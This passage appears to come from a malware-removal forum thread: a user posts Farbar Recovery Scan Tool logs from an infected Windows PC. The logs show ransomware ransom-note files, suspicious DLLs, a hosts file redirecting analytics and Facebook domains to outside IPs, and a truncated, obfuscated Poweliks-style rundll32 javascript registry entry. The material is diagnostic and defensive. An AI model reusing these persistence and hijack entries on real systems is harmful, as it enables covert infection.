2015-03-02 14:41 - 2014-03-12 17:39 - 00000000 ____D () C:\Program Files\Common Files\Adobe
2015-03-02 13:52 - 2011-10-16 17:33 - 00000000 ____D () C:\Windows\Downloaded Installations
2015-03-02 13:52 - 2005-03-14 16:19 - 00000308 _____ () C:\Windows\system32\results.txt

==================== Files in the root of some directories =======

2013-11-02 15:36 - 2013-11-02 15:36 - 0345936 _____ () C:\Users\Tim\AppData\Roaming\BtvStack.dll
2014-08-07 18:36 - 2014-08-07 18:36 - 0008204 _____ () C:\Users\Tim\AppData\Roaming\DECRYPT_INSTRUCTION.HTML
2014-08-07 18:36 - 2014-08-07 18:36 - 0004146 _____ () C:\Users\Tim\AppData\Roaming\DECRYPT_INSTRUCTION.TXT
2014-08-07 18:36 - 2014-08-07 18:36 - 0000276 _____ () C:\Users\Tim\AppData\Roaming\DECRYPT_INSTRUCTION.URL
2015-03-02 15:38 - 2015-03-02 15:38 - 0008630 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.HTML
2015-03-02 15:38 - 2015-03-02 15:38 - 0045929 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.PNG
2015-03-02 15:38 - 2015-03-02 15:38 - 0004258 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.TXT
2015-03-02 15:38 - 2015-03-02 15:38 - 0000292 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.URL
2014-03-16 18:43 - 2014-03-27 12:33 - 0000074 _____ () C:\Users\Tim\AppData\Roaming\WB.CFG
2014-08-07 18:36 - 2014-08-07 18:36 - 0008204 _____ () C:\Users\Tim\AppData\Local\DECRYPT_INSTRUCTION.HTML
2014-08-07 18:36 - 2014-08-07 18:36 - 0004146 _____ () C:\Users\Tim\AppData\Local\DECRYPT_INSTRUCTION.TXT
2014-08-07 18:36 - 2014-08-07 18:36 - 0000276 _____ () C:\Users\Tim\AppData\Local\DECRYPT_INSTRUCTION.URL
2015-03-02 15:35 - 2015-03-02 15:35 - 0023552 _____ () C:\Users\Tim\AppData\Local\fganvmt.dll
2015-03-05 15:53 - 2015-03-05 15:53 - 0023552 _____ () C:\Users\Tim\AppData\Local\fgatvmt.dll
2015-03-06 04:47 - 2015-03-06 04:47 - 0023552 _____ () C:\Users\Tim\AppData\Local\fgutvrt.dll
2015-03-02 15:38 - 2015-03-02 15:38 - 0008630 _____ () C:\Users\Tim\AppData\Local\HELP_DECRYPT.HTML
2015-03-02 15:38 - 2015-03-02 15:38 - 0045929 _____ () C:\Users\Tim\AppData\Local\HELP_DECRYPT.PNG
2015-03-02 15:38 - 2015-03-02 15:38 - 0004258 _____ () C:\Users\Tim\AppData\Local\HELP_DECRYPT.TXT
2015-03-02 15:38 - 2015-03-02 15:38 - 0000292 _____ () C:\Users\Tim\AppData\Local\HELP_DECRYPT.URL
2015-03-07 14:39 - 2015-03-07 14:39 - 0023552 _____ () C:\Users\Tim\AppData\Local\jtukorw.dll
2015-03-08 15:16 - 2015-03-08 15:16 - 0023552 _____ () C:\Users\Tim\AppData\Local\jtunomw.dll
2014-08-07 18:36 - 2014-08-07 18:36 - 0008204 _____ () C:\ProgramData\DECRYPT_INSTRUCTION.HTML
2014-08-07 18:36 - 2014-08-07 18:36 - 0004146 _____ () C:\ProgramData\DECRYPT_INSTRUCTION.TXT
2014-08-07 18:36 - 2014-08-07 18:36 - 0000276 _____ () C:\ProgramData\DECRYPT_INSTRUCTION.URL
2015-03-02 15:37 - 2015-03-02 15:37 - 0008630 _____ () C:\ProgramData\HELP_DECRYPT.HTML
2015-03-02 15:37 - 2015-03-02 15:37 - 0045929 _____ () C:\ProgramData\HELP_DECRYPT.PNG
2015-03-02 15:37 - 2015-03-02 15:37 - 0004258 _____ () C:\ProgramData\HELP_DECRYPT.TXT
2015-03-02 15:37 - 2015-03-02 15:37 - 0000292 _____ () C:\ProgramData\HELP_DECRYPT.URL

Some content of TEMP:
====================
C:\Users\Tim\AppData\Local\Temp\6_Offer_17.exe
C:\Users\Tim\AppData\Local\Temp\84c75015-999f-4d39-b9df-690068a0a029.dll
C:\Users\Tim\AppData\Local\Temp\8A2638BB.exe
C:\Users\Tim\AppData\Local\Temp\Drwatson.exe
C:\Users\Tim\AppData\Local\Temp\f.exe
C:\Users\Tim\AppData\Local\Temp\flashplayer_ie.exe
C:\Users\Tim\AppData\Local\Temp\helper.exe
C:\Users\Tim\AppData\Local\Temp\lowproc.exe
C:\Users\Tim\AppData\Local\Temp\Ms_Cleaner.exe
C:\Users\Tim\AppData\Local\Temp\Quarantine.exe
C:\Users\Tim\AppData\Local\Temp\SCC.dll
C:\Users\Tim\AppData\Local\Temp\SE92C6.tmp.dll
C:\Users\Tim\AppData\Local\Temp\sqlite3.dll
C:\Users\Tim\AppData\Local\Temp\sqlite3.exe
C:\Users\Tim\AppData\Local\Temp\stubhelper.dll
C:\Users\Tim\AppData\Local\Temp\SymCCIS.dll
C:\Users\Tim\AppData\Local\Temp\System.Data.SQLite.dll
C:\Users\Tim\AppData\Local\Temp\System.Data.SQLite91238.dll
C:\Users\Tim\AppData\Local\Temp\TTMH1n.exe
C:\Users\Tim\AppData\Local\Temp\vxopt.dll
C:\Users\Tim\AppData\Local\Temp\WiFi-Cfg.exe

==================== Bamital & volsnap Check =================

(There is no automatic fix for files that do not pass verification.)

C:\Windows\explorer.exe => File is digitally signed
C:\Windows\system32\winlogon.exe => File is digitally signed
C:\Windows\system32\wininit.exe => File is digitally signed
C:\Windows\system32\svchost.exe => File is digitally signed
C:\Windows\system32\services.exe
[2009-07-13 19:11] - [2014-08-04 19:40] - 0264192 ____A (Microsoft Corporation) 0EAA9484A9DEC81C45559912309EAA8F

C:\Windows\system32\User32.dll => File is digitally signed
C:\Windows\system32\userinit.exe => File is digitally signed
C:\Windows\system32\rpcss.dll => File is digitally signed
C:\Windows\system32\Drivers\volsnap.sys => File is digitally signed

LastRegBack: 2015-03-05 16:34

==================== End Of Log ============================


----------



## timmy12342 (Mar 7, 2015)

Additional scan result of Farbar Recovery Scan Tool (x86) Version: 08-03-2015 03
Ran by Tim at 2015-03-08 21:21:06
Running from C:\Users\Tim\Downloads\FRST-OlderVersion
Boot Mode: Normal
==========================================================

==================== Security Center ========================

(If an entry is included in the fixlist, it will be removed.)

AS: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

==================== Installed Programs ======================

(Only the adware programs with "hidden" flag could be added to the fixlist to unhide them. The adware programs should be uninstalled manually.)

Adobe Flash Player 16 ActiveX (HKLM\...\Adobe Flash Player ActiveX) (Version: 16.0.0.305 - Adobe Systems Incorporated)
Adobe Flash Player 16 NPAPI (HKLM\...\Adobe Flash Player NPAPI) (Version: 16.0.0.305 - Adobe Systems Incorporated)
Adobe Reader XI (11.0.10) (HKLM\...\{AC76BA86-7AD7-1033-7B44-AB0000000001}) (Version: 11.0.10 - Adobe Systems Incorporated)
Apple Application Support (HKLM\...\{A922C4B7-50E0-4787-A94C-59DBF3C65DBE}) (Version: 3.0 - Apple Inc.)
Apple Mobile Device Support (HKLM\...\{10E3A6DD-84D8-4D8A-BB11-5E5314BCA7FD}) (Version: 7.1.0.32 - Apple Inc.)
Apple Software Update (HKLM\...\{789A5B64-9DD9-4BA5-915A-F0FC0A1B7BFE}) (Version: 2.1.3.127 - Apple Inc.)
Belkin Wireless Utility (HKLM\...\InstallShield_{5314FAC0-F8A5-4432-8980-251D055B2C5B}) (Version: 4.1.2.56 - Belkin)
Belkin Wireless Utility (Version: 4.1.2.56 - Belkin) Hidden
BitTorrent (HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\BitTorrent) (Version: 7.9.2.32128 - BitTorrent Inc.)
Full Tilt Poker (HKLM\...\{D4C9692E-4EFA-4DA0-8B7F-9439466D9E31}) (Version: 5.8.2.WIN.FullTilt.COM - )
Grand Parker Casino (HKLM\...\{65a1e71d-b904-4e29-b800-0ab36cd4fbd6}) (Version: 13.1.0-RTG - RealTimeGaming Software)
Graphic Equalizer Studio 2015 (HKLM\...\Graphic Equalizer Studio 2015) (Version: 2015 - PAS-Products)
Hoyle Card Games 2011 (remove only) (HKLM\...\Hoyle Card Games 2011) (Version: - )
iTunes (HKLM\...\{616445AF-BBCF-41C1-A4D6-8CFF171C182D}) (Version: 11.1.4.62 - Apple Inc.)
Malwarebytes Anti-Malware version 2.0.4.1028 (HKLM\...\Malwarebytes Anti-Malware_is1) (Version: 2.0.4.1028 - Malwarebytes Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM\...\{7299052b-02a4-4627-81f2-1818da5d550d}) (Version: 8.0.56336 - Microsoft Corporation)
Mozilla Firefox 36.0.1 (x86 en-US) (HKLM\...\Mozilla Firefox 36.0.1 (x86 en-US)) (Version: 36.0.1 - Mozilla)
Mozilla Maintenance Service (HKLM\...\MozillaMaintenanceService) (Version: 29.0.1 - Mozilla)
Odyssey Client (HKLM\...\{99D42EC7-652B-4819-B3E6-6450C815E03F}) (Version: 2.00.00.00 - Funk Software)
Wireless-B PCI Adapter (HKLM\...\{5C6956F3-B586-4674-BCD0-CCF7EC1DF766}) (Version: - )

==================== Custom CLSID (selected items): ==========================

(If an entry is included in the fixlist, it will be removed from registry. Any eventual file will not be moved.)

CustomCLSID: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000_Classes\CLSID\{532AB48C-C0A7-4727-B3AE-756388FF043A}\localserver32 -> c:\program files\grand parker casino\casino.exe (Realtime Gaming, Inc)
CustomCLSID: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000_Classes\CLSID\{56CBD3CF-BF99-4DF5-851F-F5B9B57496A1}\InprocServer32 -> C:\ProgramData\{D9E629DC-CB1C-4A97-9900-81922B4EFFD4}\fwcfg.dll (Microsoft Corporation)
CustomCLSID: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32 -> rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf>ktds (the data entry has 247 more characters). <==== Poweliks?

==================== Restore Points =========================

==================== Hosts content: ==========================

(If needed Hosts: directive could be included in the fixlist to reset Hosts.)

2009-07-13 22:04 - 2015-03-08 15:21 - 00001506 _RASH C:\Windows\system32\Drivers\etc\hosts
127.0.0.1 localhost
136.243.254.251 www.google-analytics.com.
136.243.254.251 google-analytics.com.
136.243.254.251 connect.facebook.net.
85.25.79.99 www.google-analytics.com.
85.25.79.99 google-analytics.com.
85.25.79.99 connect.facebook.net.
162.247.13.62 www.google-analytics.com.
162.247.13.62 google-analytics.com.
162.247.13.62 connect.facebook.net.

==================== Scheduled Tasks (whitelisted) =============

(If an entry is included in the fixlist, it will be removed from registry. Any associated file could be listed separately to be moved.)

Task: {4553D2B7-A4DE-4A29-BD83-8F47986FA0F0} - System32\Tasks\{7E5BACFC-767E-4890-822F-25C4893069D1} => pcalua.exe -a F:\EasyInstall.exe -d F:\
Task: {7C8C72A6-9436-4722-9DE1-4BB6CA5CA0A9} - System32\Tasks\15082287 => C:\Users\Tim\AppData\Local\Temp\\84c75015-999f-4d39-b9df-690068a0a029.bat [2014-08-04] () <==== ATTENTION
Task: {A2966CD3-B365-4C0B-A90F-8708BA131C1E} - System32\Tasks\Apple\AppleSoftwareUpdate => C:\Program Files\Apple Software Update\SoftwareUpdate.exe [2011-06-01] (Apple Inc.)
Task: {E0951792-502F-4366-81C8-1F0B993D0DF8} - System32\Tasks\Adobe Flash Player Updater => C:\Windows\system32\Macromed\Flash\FlashPlayerUpdateService.exe [2015-03-03] (Adobe Systems Incorporated)

(If an entry is included in the fixlist, the task (.job) file will be moved. The file which is running by the task will not be moved.)

Task: C:\Windows\Tasks\Adobe Flash Player Updater.job => C:\Windows\system32\Macromed\Flash\FlashPlayerUpdateService.exe

==================== Loaded Modules (whitelisted) ==============

2014-01-20 14:17 - 2014-01-20 14:17 - 00073544 _____ () C:\Program Files\Common Files\Apple\Apple Application Support\zlib1.dll
2014-01-20 14:16 - 2014-01-20 14:16 - 01044808 _____ () C:\Program Files\Common Files\Apple\Apple Application Support\libxml2.dll
2015-03-07 14:39 - 2015-03-07 14:39 - 00023552 _____ () C:\Users\Tim\AppData\Local\jtukorw.dll
2015-03-08 15:16 - 2015-03-08 15:16 - 00023552 _____ () C:\Users\Tim\AppData\Local\jtunomw.dll
2005-08-18 18:08 - 2005-08-18 18:08 - 00077824 ____N () C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\BelkinwcuiDLL.dll
2005-08-18 18:08 - 2005-08-18 18:08 - 00061440 ____N () C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\BelkinHWStatus.dll
2015-02-23 14:19 - 2003-11-22 15:26 - 00024576 _____ () C:\Program Files\Linksys\Wireless-B PCI Adapter\OdHost.exe
2013-11-02 15:36 - 2013-11-02 15:36 - 00345936 _____ () C:\Users\Tim\AppData\Roaming\BtvStack.dll
2015-03-02 15:57 - 2015-03-02 15:57 - 38714368 _____ () C:\Users\Tim\AppData\Roaming\Local Store\libcef.dll
2015-03-02 15:57 - 2015-03-02 15:57 - 00873472 _____ () C:\Users\Tim\AppData\Roaming\Local Store\ffmpegsumo.dll
2015-03-02 15:57 - 2015-03-02 15:57 - 16840880 _____ () C:\Users\Tim\AppData\Roaming\Local Store\NPSWF32.dll

==================== Alternate Data Streams (whitelisted) =========

(If an entry is included in the fixlist, only the Alternate Data Streams will be removed.)

AlternateDataStreams: C:\Windows\boot.mng:ldr

==================== Safe Mode (whitelisted) ===================

(If an item is included in the fixlist, it will be removed from the registry. The "AlternateShell" will be restored.)

==================== EXE Association (whitelisted) ===============

(If an entry is included in the fixlist, the default will be restored. None default entries will be removed.)

==================== Other Areas ============================

(Currently there is no automatic fix for this section.)

HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Control Panel\Desktop\\Wallpaper -> C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.jpg
DNS Servers: 8.8.8.8

==================== MSCONFIG/TASK MANAGER disabled items ==

(Currently there is no automatic fix for this section.)

==================== Accounts: =============================

Administrator (S-1-5-21-1360264287-3610818973-3505073857-500 - Administrator - Disabled)
Guest (S-1-5-21-1360264287-3610818973-3505073857-501 - Limited - Disabled)
HomeGroupUser$ (S-1-5-21-1360264287-3610818973-3505073857-1002 - Limited - Enabled)
Tim (S-1-5-21-1360264287-3610818973-3505073857-1000 - Administrator - Enabled) => C:\Users\Tim

==================== Faulty Device Manager Devices =============

Name: Teredo Tunneling Pseudo-Interface
Description: Microsoft Teredo Tunneling Adapter
Class Guid: {4d36e972-e325-11ce-bfc1-08002be10318}
Manufacturer: Microsoft
Service: tunnel
Problem: : This device cannot start. (Code10)
Resolution: Device failed to start. Click "Update Driver" to update the drivers for this device.
On the "General Properties" tab of the device, click "Troubleshoot" to start the troubleshooting wizard.

==================== Event log errors: =========================

Application errors:
==================

System errors:
=============
Error: (03/08/2015 09:09:23 PM) (Source: DCOM) (EventID: 10010) (User: )
Description: {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}

Error: (03/08/2015 09:08:51 PM) (Source: Service Control Manager) (EventID: 7024) (User: )
Description: The HomeGroup Listener service terminated with service-specific error %%-2147023143.

Error: (03/08/2015 09:07:49 PM) (Source: EventLog) (EventID: 6008) (User: )
Description: The previous system shutdown at 9:06:35 PM on ‎3/‎8/‎2015 was unexpected.

Error: (03/08/2015 08:46:16 PM) (Source: DCOM) (EventID: 10010) (User: )
Description: {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}

Error: (03/08/2015 08:45:47 PM) (Source: Service Control Manager) (EventID: 7024) (User: )
Description: The HomeGroup Listener service terminated with service-specific error %%-2147023143.

Error: (03/08/2015 08:44:38 PM) (Source: EventLog) (EventID: 6008) (User: )
Description: The previous system shutdown at 8:43:13 PM on ‎3/‎8/‎2015 was unexpected.

Error: (03/08/2015 08:06:49 PM) (Source: DCOM) (EventID: 10010) (User: )
Description: {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}

Error: (03/08/2015 08:06:22 PM) (Source: Service Control Manager) (EventID: 7024) (User: )
Description: The HomeGroup Listener service terminated with service-specific error %%-2147023143.

Error: (03/08/2015 08:03:44 PM) (Source: Service Control Manager) (EventID: 7032) (User: )
Description: The Service Control Manager tried to take a corrective action (Restart the service) after the unexpected termination of the Windows Search service, but this action failed with the following error: 
%%1056

Error: (03/08/2015 08:03:35 PM) (Source: Service Control Manager) (EventID: 7032) (User: )
Description: The Service Control Manager tried to take a corrective action (Restart the service) after the unexpected termination of the Windows Search service, but this action failed with the following error: 
%%1056

Microsoft Office Sessions:
=========================

CodeIntegrity Errors:
===================================
Date: 2015-03-05 13:44:43.419
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\eq apo\EqualizerAPO.dll because the set of per-page image hashes could not be found on the system.

Date: 2015-03-05 13:44:31.987
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\eq apo\EqualizerAPO.dll because the set of per-page image hashes could not be found on the system.

Date: 2015-03-05 13:44:30.983
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\eq apo\EqualizerAPO.dll because the set of per-page image hashes could not be found on the system.

Date: 2015-03-05 13:44:17.951
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\eq apo\EqualizerAPO.dll because the set of per-page image hashes could not be found on the system.

Date: 2015-03-05 13:44:17.301
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\eq apo\EqualizerAPO.dll because the set of per-page image hashes could not be found on the system.

Date: 2015-03-05 13:44:02.364
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\eq apo\EqualizerAPO.dll because the set of per-page image hashes could not be found on the system.

Date: 2015-03-05 13:43:58.095
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\eq apo\EqualizerAPO.dll because the set of per-page image hashes could not be found on the system.

Date: 2015-03-05 13:43:53.972
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\eq apo\EqualizerAPO.dll because the set of per-page image hashes could not be found on the system.

Date: 2015-03-05 13:43:52.820
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\eq apo\EqualizerAPO.dll because the set of per-page image hashes could not be found on the system.

Date: 2015-03-05 13:43:50.809
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\eq apo\EqualizerAPO.dll because the set of per-page image hashes could not be found on the system.

==================== Memory info ===========================

Processor: AMD Athlon(tm) 7750 Dual-Core Processor
Percentage of memory in use: 49%
Total physical RAM: 2813.09 MB
Available physical RAM: 1409.66 MB
Total Pagefile: 5624.46 MB
Available Pagefile: 3549.3 MB
Total Virtual: 2047.88 MB
Available Virtual: 1874.12 MB

==================== Drives ================================

Drive c: () (Fixed) (Total:119.14 GB) (Free:32.54 GB) NTFS
Drive d: (Storeage) (Fixed) (Total:117.19 GB) (Free:78.04 GB) NTFS
Drive e: (Backup) (Fixed) (Total:115.7 GB) (Free:115.6 GB) NTFS

==================== MBR & Partition Table ==================

========================================================
Disk: 0 (Size: 232.9 GB) (Disk ID: 07C83D2F)
Partition 1: (Not Active) - (Size=117.2 GB) - (Type=07 NTFS)
Partition 2: (Not Active) - (Size=115.7 GB) - (Type=OF Extended)

========================================================
Disk: 1 (MBR Code: Windows 7 or 8) (Size: 119.2 GB) (Disk ID: DBA13AAE)
Partition 1: (Active) - (Size=100 MB) - (Type=07 NTFS)
Partition 2: (Not Active) - (Size=119.1 GB) - (Type=07 NTFS)

==================== End Of Log ============================


----------



## timmy12342 (Mar 7, 2015)

Users shortcut scan result (x86) Version: 08-03-2015 03
Ran by Tim at 2015-03-08 21:21:32
Running from C:\Users\Tim\Downloads\FRST-OlderVersion
Boot Mode: Normal
==================== Shortcuts =============================
(The entries could be listed to be restored or removed.)

Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Graphic Equalizer Studio 2015.lnk -> D:\graphic eq\Eq32Studio.exe ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Reader XI.lnk -> C:\Windows\Installer\{AC76BA86-7AD7-1033-7B44-AB0000000001}\SC_Reader.ico ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Apple Software Update.lnk -> C:\Windows\Installer\{789A5B64-9DD9-4BA5-915A-F0FC0A1B7BFE}\AppleSoftwareUpdateIco.exe ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Media Center.lnk -> C:\Windows\ehome\ehshell.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk -> C:\Program Files\Mozilla Firefox\firefox.exe (Mozilla Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows DVD Maker.lnk -> C:\Program Files\DVD Maker\DVDMaker.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Fax and Scan.lnk -> C:\Windows\System32\WFS.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\XPS Viewer.lnk -> C:\Windows\System32\xpsrchvw.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wireless-B PCI Adapter\Wireless-B PCI Adapter Utility.lnk -> C:\Program Files\Linksys\Wireless-B PCI Adapter\WMP11CFG.exe (The Linksys Group, Inc.)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Wireless-B Notebook Adapter Utility.lnk -> C:\Program Files\Linksys\Wireless-B PCI Adapter\Startup.exe ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes Anti-Malware\Malwarebytes Anti-Malware.lnk -> D:\Malwarebytes Anti-Malware\mbam.exe (Malwarebytes Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes Anti-Malware\Uninstall Malwarebytes Anti-Malware.lnk -> D:\Malwarebytes Anti-Malware\unins000.exe ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes Anti-Malware\Tools\Malwarebytes Anti-Malware Chameleon.lnk -> D:\Malwarebytes Anti-Malware\Chameleon\Windows\chameleon.chm ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Create Recovery Disc.lnk -> C:\Windows\System32\recdisc.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Remote Assistance.lnk -> C:\Windows\System32\msra.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\iTunes\About iTunes.lnk -> D:\iTunes\iTunes.Resources\en.lproj\About iTunes.rtf ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\iTunes\iTunes.lnk -> D:\iTunes\iTunes.exe (Apple Inc.)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Hoyle®\Hoyle Card Games 2011\Hoyle Card Games 2011.lnk -> D:\Hoyle Card Games 2011\Hoyle Card Games.exe ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Hoyle®\Hoyle Card Games 2011\Uninstall Hoyle Card Games 2011.lnk -> D:\Hoyle Card Games 2011\Uninstall.exe ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Hoyle®\Hoyle Card Games 2011\User Guide.lnk -> D:\Hoyle Card Games 2011\Hoyle Card Games Help.pdf ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Graphic Equalizer Studio 2015\Graphic Equalizer Studio 2015.lnk -> D:\graphic eq\Eq32Studio.exe ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Graphic Equalizer Studio 2015\Helpfile Graphic Equalizer Studio.lnk -> D:\graphic eq\Help\Graphic Equalizer Studio.html ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Graphic Equalizer Studio 2015\Info.lnk -> D:\graphic eq\Info.txt ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Graphic Equalizer Studio 2015\Uninstall Graphic Equalizer Studio 2015.lnk -> D:\graphic eq\Graphic Equalizer Studio 2015_22470.exe (Pantaray Research Ltd.)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Grand Parker Casino\Grand Parker Casino.lnk -> C:\Program Files\Grand Parker Casino\casino.exe (Realtime Gaming, Inc)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Full Tilt Poker\Full Tilt Poker.lnk -> D:\fulltilt\FullTiltPoker.exe ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Full Tilt Poker\Uninstall Full Tilt Poker.lnk -> D:\fulltilt\uninstall.exe ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Belkin\Wireless Networking Utility\Belkin Wireless Utility.lnk -> C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\Belkinwcui.exe (Belkin)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Component Services.lnk -> C:\Windows\System32\comexp.msc ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Data Sources (ODBC).lnk -> C:\Windows\System32\odbcad32.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\iSCSI Initiator.lnk -> C:\Windows\System32\iscsicpl.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Memory Diagnostics Tool.lnk -> C:\Windows\System32\MdSched.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Print Management.lnk -> C:\Windows\System32\printmanagement.msc ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\services.lnk -> C:\Windows\System32\services.msc ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\System Configuration.lnk -> C:\Windows\System32\msconfig.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Windows Firewall with Advanced Security.lnk -> C:\Windows\System32\WF.msc ()
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Calculator.lnk -> C:\Windows\System32\calc.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\displayswitch.lnk -> C:\Windows\System32\displayswitch.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Math Input Panel.lnk -> C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\NetworkProjection.lnk -> C:\Windows\System32\NetProj.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Paint.lnk -> C:\Windows\System32\mspaint.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Remote Desktop Connection.lnk -> C:\Windows\System32\mstsc.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Snipping Tool.lnk -> C:\Windows\System32\SnippingTool.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Sound Recorder.lnk -> C:\Windows\System32\SoundRecorder.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Sticky Notes.lnk -> C:\Windows\System32\StikyNot.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Sync Center.lnk -> C:\Windows\System32\mobsync.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Wordpad.lnk -> C:\Program Files\Windows NT\Accessories\wordpad.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell ISE.lnk -> C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell_ISE.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk -> C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\ShapeCollector.lnk -> C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\TabTip.lnk -> C:\Program Files\Common Files\Microsoft Shared\ink\TabTip.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\Windows Journal.lnk -> C:\Program Files\Windows Journal\Journal.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Character Map.lnk -> C:\Windows\System32\charmap.exe (Microsoft Corporation)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\dfrgui.lnk -> C:\Windows\System32\dfrgui.exe (Microsoft Corporation)
